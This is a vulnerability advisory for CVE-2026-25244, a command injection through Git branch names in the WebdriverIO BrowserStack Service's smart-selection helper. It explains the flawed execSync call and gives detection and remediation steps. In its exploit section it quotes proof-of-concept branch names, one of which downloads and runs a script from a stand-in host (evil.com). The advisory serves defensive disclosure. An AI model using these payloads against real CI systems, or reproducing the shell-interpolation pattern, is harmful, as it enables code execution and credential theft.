critical
CVE
CVE-2026-25244
CWE
CWE-78
Affected Surface
@wdio/browserstack-service <= 9.23.2, WebdriverIO BrowserStack Service test orchestration, CI/CD runners using testOrchestrationOptions.runSmartSelection, Developer machines running WebdriverIO against untrusted repositories
@wdio/browserstack-service versions through 9.23.2 contain a command-injection vulnerability in WebdriverIO’s BrowserStack test-orchestration smart-selection helper. The issue is tracked as CVE-2026-25244 and has a GitHub CVSS 3.1 score of 9.8 critical.
The bug is not in the browser automation protocol itself. It is in local Git metadata collection used by test orchestration. The vulnerable helper reads branch names from a repository and interpolates those names directly into shell commands executed with execSync().
Any CI runner or developer workstation that runs WebdriverIO BrowserStack Service against an attacker-controlled repository, or against the current directory when source is unset, can execute attacker-supplied shell commands.
Affected package
Affected:
@wdio/browserstack-service <= 9.23.2
Fixed:
@wdio/browserstack-service 9.24.0
The affected package is part of the WebdriverIO ecosystem and is commonly used in JavaScript and TypeScript browser, mobile, and component-test pipelines. The vulnerable path is most relevant when BrowserStack test orchestration smart selection is enabled through testOrchestrationOptions.runSmartSelection.
Vulnerable code path
The vulnerable line identified in the advisory builds a shell command using unsanitized branch names:
const changedFilesOutput = execSync(
`git diff --name-only ${baseBranch}..${currentBranch}`
).toString().trim();
The dangerous part is not git diff by itself. The problem is the combination of:
- Git allowing branch names with shell metacharacters.
- Branch names being treated as trusted command fragments.
execSync()invoking a shell for string commands.
Once the command string is handed to the shell, separators such as ; and variable expansions such as ${IFS} are interpreted by the shell rather than by Git.
Exploit shape
The public advisory demonstrates branch names like:
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"
Then a WebdriverIO configuration can point smart selection at the malicious repository:
export const config = {
services: [
[
"browserstack",
{
user: process.env.BROWSERSTACK_USERNAME,
key: process.env.BROWSERSTACK_ACCESS_KEY,
testOrchestrationOptions: {
runSmartSelection: {
enabled: true,
source: ["/tmp/malicious-repo"]
}
}
}
]
]
};
If source is not configured, the helper can use the current directory as the source repository. That creates a second exposure mode: a CI job or local test run triggered inside an attacker-controlled checkout can hit the vulnerable path without an explicit external source path.
Why this matters for application security
This is a test-tooling vulnerability, but the blast radius is application supply chain. Test runners often execute with broad access:
- repository source code
- GitHub Actions or CI provider tokens
- BrowserStack credentials
- npm tokens used by release jobs
- cloud deployment credentials
- SSH keys and package-manager caches
- generated artifacts that may later be published
RCE in that context can become credential theft, artifact tampering, or follow-on supply-chain compromise. A malicious pull request, sample repository, or test fixture that controls the branch name can turn “run the test suite” into arbitrary command execution before deployment gates have a chance to run.
The dangerous data flow is short:
attacker-controlled Git ref
-> currentBranch/baseBranch
-> template literal command
-> child_process.execSync(string)
-> shell command execution
The fix class is to avoid shell-string execution for untrusted values. Use argument arrays through spawnFile, execFile, or equivalent APIs, validate ref names against a strict allowlist before use, and use Git’s -- separator where path arguments are involved. Ref-name validation alone is weaker than avoiding the shell.
Detection and triage
Search dependency manifests and lockfiles for vulnerable versions:
npm ls @wdio/browserstack-service
pnpm why @wdio/browserstack-service
yarn why @wdio/browserstack-service
Prioritize environments where all of the following are true:
@wdio/browserstack-serviceis9.23.2or older.- BrowserStack service is configured in WebdriverIO.
testOrchestrationOptions.runSmartSelection.enabledis true.- CI jobs run tests against forked repositories, external sample projects, generated repositories, or branches created by untrusted users.
Then inspect CI logs for shell payload artifacts in branch names, suspicious commands during WebdriverIO startup, unexpected outbound network calls, and writes under temporary directories during test orchestration.
Remediation
Upgrade @wdio/browserstack-service to 9.24.0 or later. If immediate upgrade is not possible, disable BrowserStack smart selection for untrusted repositories and prevent test runs from using attacker-controlled checkouts as testOrchestrationOptions.runSmartSelection.source.
For any runner that executed vulnerable test orchestration against an untrusted repository, rotate credentials available to that runner. At minimum, review CI provider tokens, BrowserStack credentials, npm tokens, GitHub tokens, cloud credentials, SSH keys, and deployment secrets.
Longer term, treat test orchestration code as part of the application supply chain. It runs before release, often with the same secrets used to publish and deploy. A vulnerable test helper can be as damaging as a vulnerable production dependency.